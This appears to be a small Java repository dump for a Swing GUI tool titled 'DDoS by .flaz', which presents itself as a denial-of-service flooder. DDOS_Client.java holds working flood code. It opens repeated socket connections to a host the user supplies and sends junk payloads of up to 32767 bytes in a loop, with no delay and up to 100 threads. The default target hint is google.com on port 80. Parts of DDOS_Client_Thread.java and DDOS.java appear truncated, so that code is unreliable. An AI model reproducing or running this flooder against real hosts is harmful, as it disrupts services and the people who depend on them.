├── README.md └── DDOS2 └── src ├── launch └── Main.java ├── gui ├── InfoPackage.java └── MainFrame.java ├── ddos ├── DDOS_Client_Thread.java ├── DDOS.java ├── Logger.java └── DDOS_Client.java └── useful └── Useful.java /README.md: -------------------------------------------------------------------------------- 1 | DDOS which doesnt even work 2 | -------------------------------------------------------------------------------- /DDOS2/src/launch/Main.java: -------------------------------------------------------------------------------- 1 | package launch; 2 | 3 | import javax.swing.SwingUtilities; 4 | 5 | import gui.MainFrame; 6 | 7 | public class Main { 8 | 9 | private static MainFrame frame; 10 | 11 | public static void main(String[] args) { 12 | SwingUtilities.invokeLater(()->{frame = new MainFrame(); 13 | frame.setVisible(true);}); 14 | 15 | 16 | } 17 | 18 | public static void enable_btns() 19 | { 20 | frame.enableButtons(); 21 | } 22 | public static void disable_stop_btn() 23 | { 24 | frame.disable_stop_btn(); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /DDOS2/src/gui/InfoPackage.java: -------------------------------------------------------------------------------- 1 | package gui; 2 | 3 | import gui.MainFrame.DELAY_MODE; 4 | 5 | public final class InfoPackage { 6 | public final boolean arePortsEnabled; 7 | public final boolean arePortsAvailable; 8 | 9 | public final boolean isCheckPressed; 10 | 11 | public final boolean isHttp_check; 12 | public final boolean isPing_check; 13 | 14 | public final boolean isStartPressed; 15 | 16 | public final String ipAdress; 17 | public final String portString; 18 | 19 | public final int clientCount; 20 | 21 | public final int junkSize; 22 | public final int timeoutDelay; 23 | 24 | public final DELAY_MODE queryDelayMode; 25 | public final int queryCustomDelayAmount; 26 | 27 | public final boolean doRandomizeJuskContent; 28 | 29 | public InfoPackage(boolean http, boolean ping, boolean portsen, boolean startpr, boolean checkpr, 30 | String ip, String ports, int clcount, int jSize, 31 | int toutDelay, String delayMode, int delayAmtCustom, boolean randomjunk) 32 | { 33 | isHttp_check = http; 34 | isPing_check = ping; 35 | 36 | arePortsEnabled = portsen; 37 | arePortsAvailable = (!ports.trim().isEmpty() && !ports.matches(".*[a-zA-Z]*.")) && portsen; 38 | 39 | isCheckPressed = checkpr; 40 | isStartPressed = startpr; 41 | 42 | ipAdress = ip; 43 | portString = ports; 44 | 45 | clientCount = clcount; 46 | 47 | junkSize = jSize; 48 | timeoutDelay = toutDelay; 49 | 50 | queryDelayMode = DELAY_MODE.findByString(delayMode); 51 | queryCustomDelayAmount = delayAmtCustom; 52 | 53 | doRandomizeJuskContent = randomjunk; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /DDOS2/src/ddos/DDOS_Client_Thread.java: -------------------------------------------------------------------------------- 1 | package ddos; 2 | 3 | import java.util.ArrayList; 4 | import ddos.Logger.MSG; 5 | import gui.MainFrame.DELAY_MODE; 6 | import useful.Useful; 7 | 8 | public class DDOS_Client_Thread { 9 | 10 | private final int thread_number; 11 | 12 | public volatile int flood_count = 0; 13 | 14 | private ArrayList clients; 15 | { 16 | clients = new ArrayList<>(); 17 | } 18 | 19 | public DDOS_Client_Thread(String ip, String port, int client_amt, int ind, boolean check, int junkSize, int timeoutDelay, boolean isJunkRandom, DELAY_MODE queryMode, int customDelayAmt) { 20 | thread_number = ind; 21 | for(int i=0;i threads; 12 | private DDOS_Client_Thread thread; 13 | 14 | public DDOS() { 15 | //threads = new ArrayList<>(); 16 | } 17 | 18 | 19 | public void begin(InfoPackage info) 20 | { 21 | if(info.isCheckPressed) 22 | { 23 | Logger.get.log_str("Checking...", MSG.WARNING); 24 | //threads.add(new DDOS_Client_Thread(info.ipAdress, info.portString, 1, 0, true, info.junkSize)); 25 | //threads.forEach(tr -> {tr.run(); Useful.easySleep(5);}); 26 | thread = new DDOS_Client_Thread(info.ipAdress, info.portString, 1, 0, true, info.junkSize, info.timeoutDelay, info.doRandomizeJuskContent, info.queryDelayMode, info.queryCustomDelayAmount); 27 | thread.run(); 28 | } 29 | else 30 | { 31 | Logger.get.log_str("DDOS-ing...", MSG.ERROR); 32 | 33 | //threads.add(new DDOS_Client_Thread(info.ipAdress, info.portString, info.clientCount, 0, false, info.junkSize)); 34 | //threads.forEach(tr -> {tr.run(); Useful.easySleep(5);}); 35 | thread = new DDOS_Client_Thread(info.ipAdress, info.portString, info.clientCount, 0, false, info.junkSize, info.timeoutDelay, info.doRandomizeJuskContent, info.queryDelayMode, info.queryCustomDelayAmount); 36 | thread.run(); 37 | } 38 | 39 | } 40 | 41 | // flazzard.gearhostpreview.com 42 | 43 | public void end() 44 | { 45 | allThreadsKeepAlive = false; 46 | Useful.easySleep(50); 47 | //for (DDOS_Client_Thread tr : threads) { 48 | //tr.stop(); 49 | thread.stop(); 50 | //} 51 | allThreadsKeepAlive = true; 52 | } 53 | 54 | public void force_end() 55 | { 56 | allThreadsKeepAlive = false; 57 | //for (DDOS_Client_Thread tr : threads) { 58 | //tr.force_stop(); 59 | thread.force_stop(); 60 | //} 61 | allThreadsKeepAlive = true; 62 | } 63 | } -------------------------------------------------------------------------------- /DDOS2/src/ddos/Logger.java: -------------------------------------------------------------------------------- 1 | package ddos; 2 | 3 | import java.awt.Color; 4 | 5 | import javax.swing.text.Document; 6 | import javax.swing.text.SimpleAttributeSet; 7 | import javax.swing.text.StyleConstants; 8 | 9 | public class Logger { 10 | 11 | public static Logger get; 12 | 13 | private final Document log; 14 | 15 | private final SimpleAttributeSet def_set; 16 | private final SimpleAttributeSet warn_set; 17 | private final SimpleAttributeSet err_set; 18 | private final SimpleAttributeSet success_set; 19 | 20 | private Logger(Document log_doc) { 21 | this.log = log_doc; 22 | 23 | this.def_set = new SimpleAttributeSet(); 24 | this.warn_set = new SimpleAttributeSet(); 25 | this.err_set = new SimpleAttributeSet(); 26 | this.success_set = new SimpleAttributeSet(); 27 | 28 | StyleConstants.setForeground(def_set, Color.BLACK); 29 | StyleConstants.setForeground(warn_set, new Color(160, 160, 0)); 30 | StyleConstants.setForeground(err_set, Color.RED); 31 | StyleConstants.setForeground(success_set, Color.GREEN); 32 | 33 | StyleConstants.setBold(err_set, true); 34 | StyleConstants.setBold(success_set, true); 35 | } 36 | 37 | public static void init(Document doc) 38 | { 39 | get = new Logger(doc); 40 | } 41 | 42 | 43 | public void log_str(String str) 44 | { 45 | try 46 | { 47 | log.insertString(log.getLength(), "> " + str + "\n", def_set); 48 | 49 | } 50 | catch (Exception e) 51 | { 52 | e.printStackTrace(); 53 | } 54 | } 55 | public void log_str(String str, MSG type) 56 | { 57 | try 58 | { 59 | switch(type) 60 | { 61 | case INFO: log.insertString(log.getLength(), "> " + str + "\n", def_set); break; 62 | case WARNING: log.insertString(log.getLength(), "> " + str + "\n", warn_set); break; 63 | case ERROR: log.insertString(log.getLength(), "> " + str + "\n", err_set); break; 64 | case SUCCESS: log.insertString(log.getLength(), "> " + str + "\n", success_set); break; 65 | case BLANK: log.insertString(log.getLength(), "\n" , def_set); break; 66 | } 67 | 68 | } 69 | catch (Exception e) 70 | { 71 | e.printStackTrace(); 72 | } 73 | } 74 | public static enum MSG 75 | { 76 | INFO, 77 | WARNING, 78 | ERROR, 79 | SUCCESS, 80 | 81 | BLANK; 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /DDOS2/src/ddos/DDOS_Client.java: -------------------------------------------------------------------------------- 1 | package ddos; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.IOException; 5 | import java.io.InputStreamReader; 6 | import java.io.OutputStream; 7 | import java.io.PrintWriter; 8 | import java.net.InetSocketAddress; 9 | import java.net.Socket; 10 | import java.util.Arrays; 11 | import java.util.Random; 12 | import ddos.Logger.MSG; 13 | import gui.MainFrame.DELAY_MODE; 14 | import launch.Main; 15 | import useful.Useful; 16 | 17 | public class DDOS_Client extends Thread { 18 | 19 | private final String ip; 20 | private final String port; 21 | 22 | public final int thread_number; 23 | 24 | public boolean keepAlive = true; 25 | 26 | private final boolean checker; 27 | 28 | private final int junkSize; 29 | private final int timeoutDelay; 30 | 31 | private final boolean randomJunk; 32 | private final int initialDelay; 33 | 34 | private final DDOS_Client_Thread pointer_ddosct; 35 | 36 | public DDOS_Client(String ip, String port, int tr_num, boolean check, int junkSize, DDOS_Client_Thread pointer, int timeoutDelay, boolean randomJunk, DELAY_MODE delayMode, int customDelayAmt) { 37 | this.ip = ip; 38 | this.port = port; 39 | this.thread_number = tr_num; 40 | this.checker = check; 41 | this.junkSize = junkSize; 42 | this.pointer_ddosct = pointer; 43 | this.timeoutDelay = timeoutDelay; 44 | this.randomJunk = randomJunk; 45 | 46 | this.initialDelay = (delayMode != DELAY_MODE.CUSTOM_DELAY ? delayMode.delay : customDelayAmt); 47 | 48 | System.out.println(initialDelay); 49 | } 50 | 51 | 52 | 53 | public void run() { 54 | Logger.get.log_str("Added DDOS_THREAD " + thread_number); 55 | if(checker) { 56 | try(Socket cl = new Socket()) 57 | { 58 | Logger.get.log_str(thread_number + " is Trying to connect, timeout " + timeoutDelay + " milis..."); 59 | cl.connect(new InetSocketAddress(ip, Integer.parseInt(port)), timeoutDelay); 60 | BufferedReader in = new BufferedReader(new InputStreamReader(cl.getInputStream())); 61 | PrintWriter request = new PrintWriter(cl.getOutputStream()); 62 | 63 | request.print("GET / HTTP/1.1\r\n\r\n"); 64 | request.flush(); 65 | System.out.println(in.readLine()); 66 | Useful.easySleep(10); 67 | Logger.get.log_str(thread_number + " - \""+ip+"\"" + " is available!", MSG.SUCCESS); 68 | 69 | keepAlive = false; 70 | } 71 | catch (Exception ex) 72 | { 73 | Logger.get.log_str(thread_number + " - \""+ip+"\"" + " is not available!", MSG.ERROR); 74 | 75 | keepAlive = false; 76 | } 77 | Main.enable_btns(); 78 | } 79 | else 80 | { 81 | //int flood_count = 0; 82 | Socket cl; 83 | 84 | InetSocketAddress adrr = new InetSocketAddress(ip, Integer.parseInt(port)); 85 | 86 | PrintWriter request; 87 | try 88 | { 89 | cl = new Socket(); 90 | Logger.get.log_str(thread_number + " is Trying to connect, timeout " + timeoutDelay + " milis..."); 91 | cl.connect(adrr, timeoutDelay); 92 | BufferedReader in = new BufferedReader(new InputStreamReader(cl.getInputStream())); 93 | request = new PrintWriter(cl.getOutputStream()); 94 | request.print("GET / HTTP/1.1\r\n\r\n"); 95 | request.flush(); 96 | 97 | Logger.get.log_str("", MSG.BLANK); 98 | Logger.get.log_str("Connection succeeded! First response: " + in.readLine(), MSG.SUCCESS); 99 | 100 | in.close(); 101 | in = null; 102 | } 103 | catch (Exception ex) 104 | { 105 | Logger.get.log_str(thread_number + " - \""+ip+"\"" + " is not available!", MSG.ERROR); 106 | 107 | keepAlive = false; 108 | Main.enable_btns(); 109 | Main.disable_stop_btn(); 110 | return; 111 | } 112 | 113 | byte[] junk = new byte[junkSize]; 114 | if(randomJunk) 115 | new Random().nextBytes(junk); 116 | else 117 | Arrays.fill(junk, (byte)(0x7F+1)); 118 | 119 | while(keepAlive && DDOS.allThreadsKeepAlive) 120 | { 121 | cl = new Socket(); 122 | try { 123 | cl.connect(adrr, timeoutDelay); 124 | OutputStream out = cl.getOutputStream(); 125 | out.write(junk); 126 | out.flush(); 127 | cl.close(); 128 | } catch (IOException e) { 129 | e.printStackTrace(); 130 | } 131 | 132 | Logger.get.log_str("Attack: flood " + pointer_ddosct.flood_count++ + " - " + thread_number, MSG.SUCCESS); 133 | 134 | Useful.easySleep(initialDelay); 135 | } 136 | } 137 | Useful.easySleep(50); 138 | Logger.get.log_str("DDOS_THREAD " + thread_number + " is dead", MSG.WARNING); 139 | Main.disable_stop_btn(); 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /DDOS2/src/useful/Useful.java: -------------------------------------------------------------------------------- 1 | package useful; 2 | import java.awt.Color; 3 | import java.awt.Dimension; 4 | import java.awt.Frame; 5 | import java.awt.Rectangle; 6 | import java.awt.Toolkit; 7 | import java.awt.event.FocusEvent; 8 | import java.awt.event.FocusListener; 9 | import java.net.URL; 10 | import java.util.Random; 11 | import java.util.Scanner; 12 | import java.util.concurrent.ThreadLocalRandom; 13 | 14 | import javax.swing.JLabel; 15 | import javax.swing.JTextField; 16 | 17 | public class Useful { 18 | //////////////// 19 | //Constants// 20 | //////////////// 21 | public static final String ANSI_RESET = "\u001B[0m"; 22 | public static final String ANSI_BLACK = "\u001B[30m"; 23 | public static final String ANSI_RED = "\u001B[31m"; 24 | public static final String ANSI_GREEN = "\u001B[32m"; 25 | public static final String ANSI_YELLOW = "\u001B[33m"; 26 | public static final String ANSI_BLUE = "\u001B[34m"; 27 | public static final String ANSI_PURPLE = "\u001B[35m"; 28 | public static final String ANSI_CYAN = "\u001B[36m"; 29 | public static final String ANSI_WHITE = "\u001B[37m"; 30 | 31 | //////////////// 32 | //Methods// 33 | //////////////// 34 | /** 35 | * Find fibonacci number on specified place in the sequence 36 | * 37 | * @param place Specify the place in the sequence (e.g. if place equals 10 the method will return 55) 38 | * @return The fibonacci number in the specified place 39 | */ 40 | public static long find (long place) { 41 | 42 | long value = place; 43 | 44 | double Gs1 = Math.pow(1.618034, value); 45 | double Gs2 = Math.pow(-0.618034, value); 46 | double root = Math.sqrt(5); 47 | 48 | double num = ((Gs1-Gs2)/root); 49 | 50 | return (Math.round(num)); 51 | 52 | } 53 | /** 54 | * Generate java.awt.Color variable with random (r, g, b) parameters 55 | * @return Random Color variable 56 | */ 57 | public static Color randomColor() { 58 | 59 | Random rand = new Random(); 60 | float r = rand.nextFloat(); 61 | float g = rand.nextFloat(); 62 | float b = rand.nextFloat(); 63 | 64 | Color fieldColor = new Color(r, g, b); 65 | 66 | return fieldColor; 67 | } 68 | 69 | public static int randomInt(int range) { 70 | Random rand = new Random(); 71 | if(range!=0) {return rand.nextInt(range);} 72 | else {return rand.nextInt();} 73 | } 74 | public static int randomInt(int rangeMin, int rangeMax) { 75 | ThreadLocalRandom rand = ThreadLocalRandom.current(); 76 | if(rangeMin!=0 || rangeMax!=0) {return rand.nextInt(rangeMax - rangeMin)+rangeMin;} 77 | else {return rand.nextInt();} 78 | } 79 | /** 80 | * Centers your Frame on screen 81 | * @param frame The name of your Frame variable 82 | */ 83 | public static void center(Frame frame) { 84 | Dimension screenSize = (Toolkit.getDefaultToolkit().getScreenSize()); 85 | int Dx = (int) screenSize.getWidth(); 86 | int Dy = (int) screenSize.getHeight(); 87 | frame.setLocation(Dx/2 - frame.getSize().width/2, Dy/2 - frame.getSize().height/2-40); 88 | 89 | } 90 | public static void center(Frame frame, int width, int height) { 91 | Dimension screenSize = (Toolkit.getDefaultToolkit().getScreenSize()); 92 | int Dx = (int) screenSize.getWidth(); 93 | int Dy = (int) screenSize.getHeight(); 94 | frame.setBounds(new Rectangle(Dx/2 - frame.getSize().width/2, Dy/2 - frame.getSize().height/2-40, width, height)); 95 | 96 | } 97 | public static String getIp(String site) throws Exception { 98 | String tmp = null; 99 | try { 100 | Scanner sc = new Scanner(new URL(site).openStream(),"UTF-8"); 101 | tmp=sc.next(); 102 | sc.close(); 103 | return tmp; 104 | }catch (Exception e1) { 105 | System.out.println("An error occured! Retrying with preset site..."); 106 | try { 107 | Scanner sc1 = new Scanner(new URL("https://api.ipify.org/").openStream(),"UTF-8"); 108 | tmp=sc1.next(); 109 | sc1.close(); 110 | return tmp; 111 | } catch (Exception e2) { 112 | throw new Exception("The site is probably unavalable! "+ e2.getStackTrace()); 113 | } 114 | } 115 | } 116 | /** 117 | * Add input tip on your TextField 118 | * @param field field to add tip 119 | * @param tip the tip to add 120 | */ 121 | public static void setFieldTip (final JTextField field, final String tip) { 122 | field.addFocusListener(new FocusListener() { 123 | public void focusLost(FocusEvent e) { 124 | if (field.getText().isEmpty()) { 125 | field.setText(tip); 126 | }else return; 127 | } 128 | public void focusGained(FocusEvent e) { 129 | System.out.println(field.getText()); 130 | if(field.getText().equals(tip)) { 131 | field.setText(null); 132 | } 133 | } 134 | }); 135 | } 136 | /** 137 | * 138 | * @param label 139 | * @param text 140 | */ 141 | public static void errorLabel(JLabel label, String text) { 142 | label.setForeground(Color.RED); 143 | label.setText(text); 144 | } 145 | public void successLabel(JLabel label, String text) { 146 | label.setForeground(Color.GREEN); 147 | label.setText(text); 148 | } 149 | 150 | public static void easySleep(long milis) { 151 | try { 152 | Thread.sleep(milis); 153 | } catch (InterruptedException e) { 154 | System.err.println("The thread was interrupted!\nIf it was dow on purpose, please use regular sleep method"); 155 | } 156 | } 157 | public static void easySleep(long milis, int nanos) { 158 | try { 159 | Thread.sleep(milis, nanos); 160 | } catch (InterruptedException e) { 161 | System.err.println("The thread was interrupted!\nIf it was dow on purpose, please use regular sleep method"); 162 | } 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /DDOS2/src/gui/MainFrame.java: -------------------------------------------------------------------------------- 1 | package gui; 2 | 3 | import java.awt.Color; 4 | import java.awt.Font; 5 | import java.awt.event.ActionEvent; 6 | import java.awt.event.ActionListener; 7 | import java.awt.event.AdjustmentEvent; 8 | import java.awt.event.AdjustmentListener; 9 | import java.awt.event.FocusEvent; 10 | import java.awt.event.FocusListener; 11 | import java.awt.event.ItemEvent; 12 | import java.awt.event.ItemListener; 13 | import javax.swing.BorderFactory; 14 | import javax.swing.BoundedRangeModel; 15 | import javax.swing.DefaultComboBoxModel; 16 | import javax.swing.JButton; 17 | import javax.swing.JCheckBox; 18 | import javax.swing.JComboBox; 19 | import javax.swing.JFrame; 20 | import javax.swing.JLabel; 21 | import javax.swing.JOptionPane; 22 | import javax.swing.JPanel; 23 | import javax.swing.JScrollPane; 24 | import javax.swing.JSeparator; 25 | import javax.swing.JSpinner; 26 | import javax.swing.JTextField; 27 | import javax.swing.JTextPane; 28 | import javax.swing.SpinnerNumberModel; 29 | import javax.swing.SwingConstants; 30 | import javax.swing.UIManager; 31 | import javax.swing.border.Border; 32 | import javax.swing.border.EmptyBorder; 33 | 34 | import ddos.DDOS; 35 | import ddos.Logger; 36 | 37 | public final class MainFrame extends JFrame { 38 | private final JPanel contentPane; 39 | 40 | private HintTextField textField; 41 | 42 | private JButton start; 43 | private JButton checkConnection; 44 | private JButton stop_ddos; 45 | 46 | public void enableButtons() 47 | { 48 | start.setEnabled(true); 49 | checkConnection.setEnabled(true); 50 | } 51 | public void disable_stop_btn() 52 | { 53 | stop_ddos.setEnabled(false); 54 | } 55 | 56 | private static boolean already_aborting = false; 57 | 58 | public MainFrame() { 59 | try{UIManager.setLookAndFeel("com.sun.java.swing.plaf.windows.WindowsLookAndFeel");}catch(Exception ex) {JOptionPane.showMessageDialog(null, "Your system does not support windows look and feel!", "Error", JOptionPane.ERROR_MESSAGE);} 60 | 61 | Border emptyBorder = BorderFactory.createEmptyBorder(); 62 | 63 | setTitle("DDoS by .flaz"); 64 | setResizable(false); 65 | setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 66 | setBounds(100, 100, 610, 455); 67 | contentPane = new JPanel(); 68 | contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); 69 | setContentPane(contentPane); 70 | contentPane.setLayout(null); 71 | 72 | textField = new HintTextField("google.com"); 73 | textField.setFont(new Font("Consolas", Font.PLAIN, 16)); 74 | textField.setBounds(326, 11, 258, 20); 75 | textField.setColumns(1); 76 | 77 | textField.setHorizontalAlignment(SwingConstants.CENTER); 78 | contentPane.add(textField); 79 | 80 | JTextField ports_field = new JTextField(); 81 | ports_field.setText("80"); 82 | ports_field.setHorizontalAlignment(SwingConstants.CENTER); 83 | ports_field.setFont(new Font("Consolas", Font.PLAIN, 16)); 84 | ports_field.setColumns(1); 85 | ports_field.setBounds(527, 42, 57, 20); 86 | contentPane.add(ports_field); 87 | 88 | start = new JButton("Start"); 89 | start.setBorder(emptyBorder); 90 | start.setBounds(354, 284, 187, 53); 91 | contentPane.add(start); 92 | 93 | checkConnection = new JButton("Check connection"); 94 | checkConnection.setBounds(354, 347, 230, 53); 95 | contentPane.add(checkConnection); 96 | 97 | JScrollPane scrollPane = new JScrollPane(); 98 | scrollPane.setBounds(10, 11, 306, 389); 99 | contentPane.add(scrollPane); 100 | scrollPane.getVerticalScrollBar().addAdjustmentListener(new AdjustmentListener() { 101 | 102 | BoundedRangeModel brm = scrollPane.getVerticalScrollBar().getModel(); 103 | boolean wasAtBottom = true; 104 | 105 | public void adjustmentValueChanged(AdjustmentEvent e) { 106 | if (!brm.getValueIsAdjusting()) { 107 | if (wasAtBottom) 108 | brm.setValue(brm.getMaximum()); 109 | } else 110 | wasAtBottom = ((brm.getValue() + brm.getExtent()) >= brm.getMaximum() - ((brm.getValue() + brm.getExtent()) / 50)); 111 | 112 | } 113 | }); 114 | 115 | JTextPane log_pane = new JTextPane(); 116 | scrollPane.setViewportView(log_pane); 117 | log_pane.setEditable(false); 118 | log_pane.setFont(new Font("Consolas", Font.PLAIN, 14)); 119 | 120 | 121 | 122 | JButton cls = new JButton("x"); 123 | cls.setToolTipText("Clear log"); 124 | cls.setForeground(Color.RED); 125 | cls.setBorder(new EmptyBorder(0, 0, 0, 0)); 126 | cls.setFont(new Font("Consolas", Font.BOLD, 23)); 127 | cls.setBounds(316, 375, 25, 25); 128 | cls.addActionListener(new ActionListener() { 129 | public void actionPerformed(ActionEvent e) { 130 | log_pane.setText(">"); 131 | } 132 | }); 133 | contentPane.add(cls); 134 | 135 | stop_ddos = new JButton("Stop"); 136 | stop_ddos.setEnabled(false); 137 | stop_ddos.setBounds(540, 284, 44, 53); 138 | stop_ddos.setBorder(emptyBorder); 139 | stop_ddos.addActionListener(new ActionListener() { 140 | public void actionPerformed(ActionEvent e) { 141 | if(current_ddos != null) { 142 | if(already_aborting) { 143 | System.out.println("Force stop triggered!"); 144 | current_ddos.force_end(); 145 | } 146 | 147 | already_aborting = true; 148 | 149 | current_ddos.end(); 150 | current_ddos = null; 151 | 152 | already_aborting = false; 153 | 154 | start.setEnabled(true); 155 | checkConnection.setEnabled(true); 156 | } 157 | } 158 | }); 159 | contentPane.add(stop_ddos); 160 | 161 | JSpinner spinner = new JSpinner(); 162 | spinner.setModel(new SpinnerNumberModel(new Integer(32767), new Integer(1), null, new Integer(1))); 163 | spinner.setValue(32767); 164 | spinner.setBounds(327, 123, 64, 20); 165 | contentPane.add(spinner); 166 | 167 | JLabel junksize_label = new JLabel("Junk request size,\r\n 8096-32767 recommended"); 168 | junksize_label.setFont(new Font("Consolas", Font.PLAIN, 12)); 169 | junksize_label.setBounds(401, 117, 192, 31); 170 | contentPane.add(junksize_label); 171 | 172 | JSpinner client_amt_spinner = new JSpinner(); 173 | client_amt_spinner.setModel(new SpinnerNumberModel(1, 1, 100, 1)); 174 | client_amt_spinner.setBounds(327, 92, 64, 20); 175 | contentPane.add(client_amt_spinner); 176 | 177 | JLabel client_amt_hint = new JLabel("Amount of client threads to be created"); 178 | client_amt_hint.setFont(new Font("Consolas", Font.PLAIN, 12)); 179 | client_amt_hint.setBounds(401, 85, 187, 31); 180 | contentPane.add(client_amt_hint); 181 | 182 | JSpinner timeout_spinner = new JSpinner(); 183 | timeout_spinner.setModel(new SpinnerNumberModel(2500, 200, 10000, 100)); 184 | timeout_spinner.setBounds(326, 154, 65, 20); 185 | contentPane.add(timeout_spinner); 186 | 187 | JLabel timeout_hint = new JLabel("Connection timeout delay"); 188 | timeout_hint.setFont(new Font("Consolas", Font.PLAIN, 12)); 189 | timeout_hint.setBounds(401, 153, 192, 20); 190 | contentPane.add(timeout_hint); 191 | 192 | JSeparator separator = new JSeparator(); 193 | separator.setBounds(326, 72, 258, 2); 194 | contentPane.add(separator); 195 | 196 | JSpinner query_delay_spinner = new JSpinner(); 197 | query_delay_spinner.setEnabled(false); 198 | query_delay_spinner.setModel(new SpinnerNumberModel(0, 0, 10000, 1)); 199 | query_delay_spinner.setBounds(326, 185, 65, 20); 200 | contentPane.add(query_delay_spinner); 201 | 202 | JComboBox query_delay_selector = new JComboBox<>(); 203 | query_delay_selector.setModel(new DefaultComboBoxModel(new String[] {"Max (no delay)", "Normal (1 ms delay)", "Low (10 ms delay)", "Custom"})); 204 | query_delay_selector.setBounds(401, 184, 183, 20); 205 | query_delay_selector.addItemListener(new ItemListener() { 206 | public void itemStateChanged(ItemEvent e) { 207 | if(e.getItem().equals("Custom")) 208 | { 209 | query_delay_spinner.setEnabled(true); 210 | } 211 | else 212 | { 213 | query_delay_spinner.setEnabled(false); 214 | } 215 | } 216 | }); 217 | contentPane.add(query_delay_selector); 218 | 219 | JLabel cpu_load_hint = new JLabel("Delay between queries (CPU load)"); 220 | cpu_load_hint.setFont(new Font("Consolas", Font.PLAIN, 12)); 221 | cpu_load_hint.setBounds(401, 204, 183, 30); 222 | contentPane.add(cpu_load_hint); 223 | 224 | JSeparator separator_1 = new JSeparator(); 225 | separator_1.setBounds(326, 271, 258, 2); 226 | contentPane.add(separator_1); 227 | 228 | JCheckBox random_junk_bool = new JCheckBox("Randomize junk content?"); 229 | random_junk_bool.setBounds(322, 241, 146, 23); 230 | contentPane.add(random_junk_bool); 231 | 232 | JCheckBox pentagon_joke = new JCheckBox("Hack The Pentagon?"); 233 | pentagon_joke.setEnabled(false); 234 | pentagon_joke.setBounds(465, 241, 123, 23); 235 | contentPane.add(pentagon_joke); 236 | 237 | Logger.init(log_pane.getDocument()); 238 | 239 | Logger.get.log_str("DDOS app by .flaz aka 0x666", Logger.MSG.INFO); 240 | start.addActionListener(new ActionListener() { 241 | public void actionPerformed(ActionEvent e) { 242 | start.setEnabled(false); 243 | checkConnection.setEnabled(false); 244 | 245 | InfoPackage pk = new InfoPackage(true, false, 246 | true, true, 247 | false, textField.getText(), 248 | ports_field.getText(), (Integer)client_amt_spinner.getValue(), 249 | (Integer)spinner.getValue(), (Integer)timeout_spinner.getValue(), 250 | (String)query_delay_selector.getSelectedItem(), (Integer)query_delay_spinner.getValue(), random_junk_bool.isSelected()); 251 | current_ddos = new DDOS(); 252 | current_ddos.begin(pk); 253 | stop_ddos.setEnabled(true); 254 | } 255 | }); 256 | 257 | getRootPane().setDefaultButton(start); 258 | 259 | checkConnection.addActionListener(new ActionListener() { 260 | public void actionPerformed(ActionEvent e) { 261 | start.setEnabled(false); 262 | checkConnection.setEnabled(false); 263 | 264 | InfoPackage pk = new InfoPackage(true, false, 265 | true, false, 266 | true, textField.getText(), 267 | ports_field.getText(), (Integer)client_amt_spinner.getValue(), 268 | (Integer)spinner.getValue(), (Integer)timeout_spinner.getValue(), 269 | (String)query_delay_selector.getSelectedItem(), (Integer)query_delay_spinner.getValue(), random_junk_bool.isSelected()); 270 | current_ddos = new DDOS(); 271 | current_ddos.begin(pk); 272 | } 273 | }); 274 | } 275 | 276 | private static DDOS current_ddos = null; 277 | 278 | private class HintTextField extends JTextField implements FocusListener 279 | { 280 | private String hint; 281 | private boolean isShowingHint; 282 | 283 | private Color prevForeground; 284 | 285 | public HintTextField(String hint) 286 | { 287 | super(hint); 288 | this.hint = hint; 289 | this.isShowingHint = true; 290 | super.addFocusListener(this); 291 | prevForeground = super.getForeground(); 292 | super.setForeground(Color.LIGHT_GRAY); 293 | } 294 | 295 | public void focusGained(FocusEvent e) { 296 | if(this.getText().isEmpty()) { 297 | super.setText(""); 298 | super.setForeground(prevForeground); 299 | isShowingHint = false; 300 | } 301 | } 302 | 303 | public void focusLost(FocusEvent e) { 304 | if(this.getText().isEmpty()) { 305 | super.setText(hint); 306 | prevForeground = super.getForeground(); 307 | super.setForeground(Color.LIGHT_GRAY); 308 | isShowingHint = true; 309 | } 310 | } 311 | 312 | @Override 313 | public String getText() { 314 | return isShowingHint ? "" : super.getText(); 315 | } 316 | } 317 | 318 | /* 319 | Max (no delay) 320 | Normal (1 ms delay) 321 | Low (10 ms delay) 322 | Custom 323 | */ 324 | 325 | public static enum DELAY_MODE 326 | { 327 | LOW_DELAY(0), 328 | MEDIUM_DELAY(1), 329 | HIGH_DELAY(10), 330 | CUSTOM_DELAY(10000); 331 | 332 | public int delay; 333 | 334 | private DELAY_MODE(int val) { 335 | this.delay = val; 336 | } 337 | 338 | public static DELAY_MODE findByString(String val) 339 | { 340 | if("Max (no delay)".equals(val)) 341 | return LOW_DELAY; 342 | else if("Normal (1 ms delay)".equals(val)) 343 | return MEDIUM_DELAY; 344 | else if("Low (10 ms delay)".equals(val)) 345 | return HIGH_DELAY; 346 | else if("Custom".equals(val)) 347 | return CUSTOM_DELAY; 348 | 349 | return CUSTOM_DELAY; 350 | } 351 | } 352 | } 353 | --------------------------------------------------------------------------------